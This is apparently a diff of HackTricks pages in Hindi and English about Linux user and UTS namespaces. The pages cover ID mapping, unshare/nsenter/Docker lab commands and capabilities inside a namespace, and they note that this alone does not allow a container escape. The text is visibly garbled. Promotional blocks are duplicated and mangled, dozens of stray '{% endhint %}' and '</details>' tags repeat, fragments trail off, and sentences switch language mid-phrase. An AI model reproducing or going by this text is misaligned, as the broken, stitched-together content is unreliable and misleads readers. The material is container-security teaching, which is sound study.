* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
{% endhint %}
</details>
{% endhint %}

View file

@ -1,62 +1,93 @@
# उपयोगकर्ता नेमस्पेस
# User Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic Information
एक उपयोगकर्ता नेमस्पेस एक लिनक्स कर्नेल सुविधा है जो **उपयोगकर्ता और समूह आईडी मैपिंग की अलगाव प्रदान करती है**, जिससे प्रत्येक उपयोगकर्ता नेमस्पेस के पास अपना **उपयोगकर्ता और समूह आईडी सेट** होता है। यह अलगाव प्रक्रियाओं को सक्षम करता है जो विभिन्न उपयोगकर्ता नेमस्पेस में चल रही होती हैं, ताकि वे **विभिन्न विशेषाधिकार और स्वामित्व** रख सकें, भले ही वे संख्यात्मक रूप से एक ही उपयोगकर्ता और समूह आईडी साझा करते हों।
एक उपयोगकर्ता नामस्थान एक Linux कर्नेल सुविधा है जो **उपयोगकर्ता और समूह आईडी मैपिंग का पृथक्करण प्रदान करती है**, जिससे प्रत्येक उपयोगकर्ता नामस्थान को **अपने स्वयं के उपयोगकर्ता और समूह आईडी का सेट** रखने की अनुमति मिलती है। यह पृथक्करण विभिन्न उपयोगकर्ता नामस्थानों में चलने वाली प्रक्रियाओं को **विभिन्न विशेषाधिकार और स्वामित्व** रखने की अनुमति देता है, भले ही वे संख्यात्मक रूप से समान उपयोगकर्ता और समूह आईडी साझा करते हों।
उपयोगकर्ता नेमस्पेस विशेष रूप से कंटेनरीकरण में उपयोगी है, जहां प्रत्येक कंटेनर को अपने विशिष्ट उपयोगकर्ता और समूह आईडी सेट होनी चाहिए, जिससे कंटेनर और मेज़बान सिस्टम के बीच बेहतर सुरक्षा और अलगाव हो सके।
उपयोगकर्ता नामस्थान विशेष रूप से कंटेनरीकरण में उपयोगी होते ह, जहां प्रत्येक कंटेनर को अपने स्वतंत्र उपयोगकर्ता और समूह आईडी का सेट होना चाहिए, जिससे कंटेनरों और होस्ट सिस्टम के बीच बेहतर सुरक्षा और पृथक्करण की अनुमति मिलती है
### काम कैसे करता है:
### How it works:
1. जब एक नया उपयोगकर्ता नेमस्पेस बनाया जाता है, तो यह **उपयोगकर्ता और समूह आईडी मैपिंग का खाली सेट के साथ शुरू होता है**। इसका मतलब है कि नए उपयोगकर्ता नेमस्पेस में चल रही किसी भी प्रक्रिया को **आरंभ में नेमस्पेस के बाहर कोई विशेषाधिकार नहीं होता है**।
2. आईडी मैपिंग नए नेमस्पेस में उपयोगकर्ता और समूह आईडी के बीच और माता (या मेज़बान) नेमस्पेस में वहां की उपयोगकर्ता और समूह आईडी के बीच स्थापित की जा सकती है। यह **नए नेमस्पेस में प्रक्रियाओं को उपयोगकर्ता और समूह आईडी के अनुसार विशेषाधिकार और स्वामित्व देने की अनुमति देता है**। हालांकि, आईडी मैपिंग को विशेष सीमाओं और आईडी के उपसमूहों पर प्रतिबंधित किया जा सकता है, जिससे नए नेमस्पेस में प्रक्रियाओं को दी जाने वाली विशेषाधिकारों पर नियंत्रण करने की सुविधा होती है।
3. एक उपयोगकर्ता नेमस्पेस के भीतर, **प्रक्रियाओं को नेमस्पेस के भीतर कार्यों के लिए पूर्ण रूप से रूट विशेषाधिकार (UID 0) हो सकते हैं**, जबकि उनके पास नेमस्पेस के बाहर सीमित विशेषाधिकार हो सकते हैं। यह उन्हें **मेज़बान सिस्टम पर पूर्ण रूट विशेषाधिकार न होने के बावजूद अपने नेमस्पेस के भीतर रूट जैसी क्षमताओं के साथ कंटेनर चलाने की अनुमति देता है**।
4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच ले जा सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके `CLONE_NEWUSER` ध्वज के साथ नए नेमस्पेस बना सकती हैं। जब कोई प्रक्रिया नए नेमस्पेस में जाती है या एक नया नेमस्पेस बनाती है, तो वह उस नेमस्पेस से संबंधित उपयोगकर्ता और समूह आईडी मैपिंग का उपयोग करने लगेगी।
1. जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो यह **उपयोगकर्ता और समूह आईडी मैपिंग का एक खाली सेट के साथ शुरू होता है**। इसका मतलब है कि नए उपयोगकर्ता नामस्थान में चलने वाली कोई भी प्रक्रिया **शुरुआत में नामस्थान के बाहर कोई विशेषाधिकार नहीं रखेगी**।
2. नए नामस्थान में उपयोगकर्ता और समूह आईडी और माता-पिता (या होस्ट) नामस्थान में आईडी मैपिंग स्थापित की जा सकती है। यह **नए नामस्थान में प्रक्रियाओं को माता-पिता नामस्थान में उपयोगकर्ता और समूह आईडी के अनुसार विशेषाधिकार और स्वामित्व रखने की अनुमति देता है**। हालाँकि, आईडी मैपिंग को विशिष्ट रेंज और आईडी के उपसमुच्चयों तक सीमित किया जा सकता है, जिससे नए नामस्थान में प्रक्रियाओं को दिए गए विशेषाधिकार पर बारीक नियंत्रण की अनुमति मिलती है।
3. एक उपयोगकर्ता नामस्थान के भीतर, **प्रक्रियाओं के पास नामस्थान के भीतर संचालन के लिए पूर्ण रूट विशेषाधिकार (UID 0) हो सकते हैं**, जबकि नामस्थान के बाहर सीमित विशेषाधिकार रखते हैं। यह **कंटेनरों को अपने स्वयं के नामस्थान के भीतर रूट-जैसे क्षमताओं के साथ चलाने की अनुमति देता है बिना होस्ट सिस्टम पर पूर्ण रूट विशेषाधिकार के**।
4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नामस्थानों के बीच स्थानांतरित हो सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नामस्थान बना सकती हैं जिसमें `CLONE_NEWUSER` ध्वज होता है। जब कोई प्रक्रिया नए नामस्थान में जाती है या एक बनाती है, तो यह उस नामस्थान से संबंधित उपयोगकर्ता और समूह आईडी मैपिंग का उपयोग करना शुरू कर देगी।
## लैब:
## Lab:
### विभिन्न नेमस्पेस बनाएँ
### Create different Namespaces
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं तो `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करके, आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास उस नेमस्पेस के लिए विशिष्ट प्रक्रिया सूचना का सटीक और अलग दृश्य है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस namespace के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो Linux द्वारा नए PID (Process ID) namespaces को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए namespaces बनाने की अनुमति देता है। हालाँकि, नए PID namespace (जिसे "unshare" प्रक्रिया कहा जाता है) के निर्माण की शुरुआत करने वाली प्रक्रिया नए namespace में नहीं जाती; केवल इसकी बाल प्रक्रियाएँ जाती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID namespace में होती हैं।
- नए namespace में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह namespace की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। Linux कर्नेल फिर उस namespace में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए namespace में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए प्रक्रिया बनाने के समय नया PID आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID namespace बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए namespace में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए namespace में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID namespace सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
उपयोगकर्ता नेमस्पेस का उपयोग करने के लिए, डॉकर डेमन को **`--userns-remap=default`** के साथ शुरू किया जाना चाहिए (यूबंटू 14.04 में, इसे `/etc/default/docker` को संशोधित करके और फिर `sudo service docker restart` को क्रियान्वित करके किया जा सकता है)
Docker डेमन को **`--userns-remap=default`** के साथ शुरू करने की आवश्यकता है (उबंटू 14.04 में, यह `/etc/default/docker` को संशोधित करके और फिर `sudo service docker restart` चलाकर किया जा सकता है)
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रक्रिया किस नामस्थान में है
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
आप डॉकर कंटेनर से उपयोगकर्ता मानचित्र की जांच कर सकते हैं:
यह संभव है कि आप डॉकर कंटेनर से उपयोगकर्ता मानचित्र की जांच कर सकें:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
या मेज़बान से:
या होस्ट से:
```bash
cat /proc/<pid>/uid_map
```
### सभी उपयोगकर्ता नेमस्पेस खोजें
### सभी उपयोगकर्ता नामस्थान खोजें
{% code overflow="wrap" %}
```bash
@ -66,13 +97,13 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
```
{% endcode %}
### एक उपयोगकर्ता नेमस्पेस के अंदर प्रवेश करें
### एक उपयोगकर्ता नामस्थान के अंदर प्रवेश करें
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
आप केवल **रूट होने पर** **दूसरे प्रक्रिया नेमस्पेस में प्रवेश** कर सकते हैं। और आप **उसमें प्रवेश नहीं** कर सकते **बिना एक डिस्क्रिप्टर** के जो इसे पॉइंट करता है (जैसे `/proc/self/ns/user`)।
आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/user`)।
### नया उपयोगकर्ता नेमस्पेस बनाएं (मैपिंग के साथ)
### नया उपयोगकर्ता नामस्थान बनाएं (मैपिंग के साथ)
{% code overflow="wrap" %}
```bash
@ -88,14 +119,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### क्षमताओं को पुनर्प्राप्त करना
### Recovering Capabilities
उपयोगकर्ता नेमस्पेस के मामले में, **जब एक नया उपयोगकर्ता नेमस्पेस बनाया जाता है, तो नेमस्पेस में प्रवेश करने वाले प्रक्रिया को उस नेमस्पेस के भीतर पूरी सेट की क्षमताएं प्रदान की जाती है**। ये क्षमताएं प्रक्रिया को विशेषाधिकारित ऑपरेशन करने की अनुमति देती हैं जैसे **फाइल सिस्टम माउंट करना**, डिवाइस बनाना, या फ़ाइलों की स्वामित्व परिवर्तित करना, लेकिन **केवल अपने उपयोगकर्ता नेमस्पेस के संदर्भ में**।
In the case of user namespaces, **जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो उस नामस्थान में प्रवेश करने वाली प्रक्रिया को उस नामस्थान के भीतर पूर्ण क्षमताओं का एक सेट दिया जाता है**। ये क्षमताएँ प्रक्रिया को विशेषाधिकार प्राप्त संचालन करने की अनुमति देती हैं जैसे कि **फाइल सिस्टम को माउंट करना**, उपकरण बनाना, या फ़ाइलों के स्वामित्व को बदलना, लेकिन **केवल इसके उपयोगकर्ता नामस्थान के संदर्भ में**।
उदाहरण के लिए, जब आपके पास उपयोगकर्ता नेमस्पेस के भीतर `CAP_SYS_ADMIN` क्षमता होती है, तो आप उस क्षमता की आवश्यकता होने पर ऑपरेशन कर सकते हैं, जैसे कि फाइल सिस्टम माउंट करना, लेकिन केवल अपने उपयोगकर्ता नेमस्पेस के संदर्भ में। इस क्षमता के साथ आप जो भी ऑपरेशन करते हैं, वे मुख्य सिस्टम या अन्य नेमस्पेस पर प्रभाव नहीं डालेंगे।
उदाहरण के लिए, जब आपके पास एक उपयोगकर्ता नामस्थान के भीतर `CAP_SYS_ADMIN` क्षमता होती है, तो आप ऐसे संचालन कर सकते हैं जो आमतौर पर इस क्षमता की आवश्यकता होती है, जैसे कि फाइल सिस्टम को माउंट करना, लेकिन केवल आपके उपयोगकर्ता नामस्थान के संदर्भ में। इस क्षमता के साथ किए गए कोई भी संचालन मेज़बान प्रणाली या अन्य नामस्थानों को प्रभावित नहीं करेंगे।
{% hint style="warning" %}
इसलिए, यदि एक नए प्रक्रिया को एक नए उपयोगकर्ता नेमस्पेस के भीतर लाने से **आपको सभी क्षमताएं वापस मिल जाएंगी** (CapEff: 000001ffffffffff), तो आप वास्तव में **केवल उन्हें उपयोग कर सकते हैं जो नेमस्पेस से संबंधित हैं** (उदाहरण के लिए माउंट) लेकिन सभी नहीं। इसलिए, यह अपने आप में एक डॉकर कंटेनर से बाहर निकलने के लिए पर्याप्त नहीं है।
इसलिए, भले ही एक नए उपयोगकर्ता नामस्थान के भीतर एक नई प्रक्रिया प्राप्त करना **आपको सभी क्षमताएँ वापस देगा** (CapEff: 000001ffffffffff), आप वास्तव में **केवल नामस्थान से संबंधित क्षमताओं का उपयोग कर सकते हैं** (उदाहरण के लिए माउंट) लेकिन हर एक का नहीं। इसलिए, यह अपने आप में एक Docker कंटेनर से भागने के लिए पर्याप्त नहीं है।
{% endhint %}
```bash
# There are the syscalls that are filtered after changing User namespace with:
@ -119,21 +150,29 @@ Probando: 0x130 . . . Error
Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
Probando: 0x143 . . . Error
```
## संदर्भ
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,47 +1,85 @@
# UTS नेमस्पेस
# UTS Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** गिथब रेपो में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic Information
एक UTS (UNIX Time-Sharing System) नेमस्पेस एक लिनक्स कर्नेल सुविधा है जो दो सिस्टम पहचानकर्ताओं को अलग करने की प्रदान करती है: **होस्टनाम** और **NIS** (नेटवर्क सूचना सेवा) डोमेन नाम। यह अलगाव उत्पन्न करता है कि प्रत्येक UTS नेमस्पेस के पास अपना **स्वतंत्र होस्टनाम और NIS डोमेन नाम** हो, जो विशेष रूप से उपकरणीकरण स्थितियों में उपयुक्त है जहां प्रत्येक कंटेनर एक अलग सिस्टम के रूप में प्रकट होना चाहिए।
एक UTS (UNIX टाइम-शेयरिंग सिस्टम) नामस्थान एक Linux कर्नेल विशेषता है जो **दो सिस्टम पहचानकर्ताओं** का **अलगाव** प्रदान करता है: **होस्टनाम** और **NIS** (नेटवर्क सूचना सेवा) डोमेन नाम। यह अलगाव प्रत्येक UTS नामस्थान को अपना **स्वतंत्र होस्टनाम और NIS डोमेन नाम** रखने की अनुमति देता है, जो कंटेनरीकरण परिदृश्यों में विशेष रूप से उपयोगी है जहां प्रत्येक कंटेनर को अपने होस्टनाम के साथ एक अलग सिस्टम के रूप में दिखाई देना चाहिए।
### यह कैसे काम करता है:
### How it works:
1. जब एक नया UTS नेमस्पेस बनाया जाता है, तो यह अपने **मूल नेमस्पेस से होस्टनाम और NIS डोमेन नाम की प्रतिलिपि के साथ शुरू होता है**। इसका मतलब है कि, निर्माण के समय, नया नेमस्पेस **अपने मूल सिद्धांकों को साझा करता है**। हालांकि, नेमस्पेस के भीतर होस्टनाम या NIS डोमेन नाम में किए गए किसी भी भविष्यवाणी परिवर्तन अन्य नेमस्पेस पर प्रभाव नहीं डालेगा।
2. UTS नेमस्पेस के भीतर प्रक्रियाएँ `sethostname()` और `setdomainname()` सिस्टम कॉल का उपयोग करके होस्टनाम और NIS डोमेन नाम को **बदल सकती हैं**। ये परिवर्तन नेमस्पेस के लिए स्थानीय हैं और अन्य नेमस्पेस या मुख्य सिस्टम पर प्रभाव नहीं डालते।
3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच ले जा सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके `CLONE_NEWUTS` ध्वज के साथ नए नेमस्पेस बना सकती हैं। जब कोई प्रक्रिया नए नेमस्पेस में जाती है या एक नया नेमस्पेस बनाती है, तो वह उस नेमस्पेस से संबंधित होस्टनाम और NIS डोमेन नाम का उपयोग करना शुरू करेगी।
1. जब एक नया UTS नामस्थान बनाया जाता है, तो यह अपने माता-पिता नामस्थान से **होस्टनाम और NIS डोमेन नाम की एक प्रति** के साथ शुरू होता है। इसका मतलब है कि, निर्माण के समय, नया नामस्थान अपने माता-पिता के समान पहचानकर्ताओं को **साझा करता है**। हालाँकि, नामस्थान के भीतर होस्टनाम या NIS डोमेन नाम में कोई भी बाद में होने वाले परिवर्तन अन्य नामस्थानों को प्रभावित नहीं करेंगे
2. UTS नामस्थान के भीतर प्रक्रियाएँ **होस्टनाम और NIS डोमेन नाम** को क्रमशः `sethostname()` और `setdomainname()` सिस्टम कॉल का उपयोग करके बदल सकती हैं। ये परिवर्तन नामस्थान के लिए स्थानीय होते हैं और अन्य नामस्थानों या होस्ट सिस्टम को प्रभावित नहीं करते हैं
3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नामस्थानों के बीच स्थानांतरित हो सकती हैं या `CLONE_NEWUTS` ध्वज के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नामस्थान बना सकती हैं। जब एक प्रक्रिया नए नामस्थान में जाती है या एक बनाती है, तो यह उस नामस्थान से जुड़े होस्टनाम और NIS डोमेन नाम का उपयोग करना शुरू करेगी।
## लैब:
## Lab:
### विभिन्न नेमस्पेस बनाएँ
### Create different Namespaces
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं तो `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करके, आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास **उस नेमस्पेस के लिए प्रक्रिया सूचना का सटीक और अलग दृश्य** है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस namespace के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो Linux द्वारा नए PID (प्रक्रिया आईडी) namespaces को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए namespaces बनाने की अनुमति देता है। हालाँकि, नए PID namespace (जिसे "unshare" प्रक्रिया कहा जाता है) के निर्माण की शुरुआत करने वाली प्रक्रिया नए namespace में नहीं जाती; केवल इसकी बाल प्रक्रियाएँ जाती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID namespace में होती हैं।
- नए namespace में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह namespace की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस namespace में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए namespace में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है जब एक नई प्रक्रिया बनाई जाती है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID namespace बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए namespace में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए namespace में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
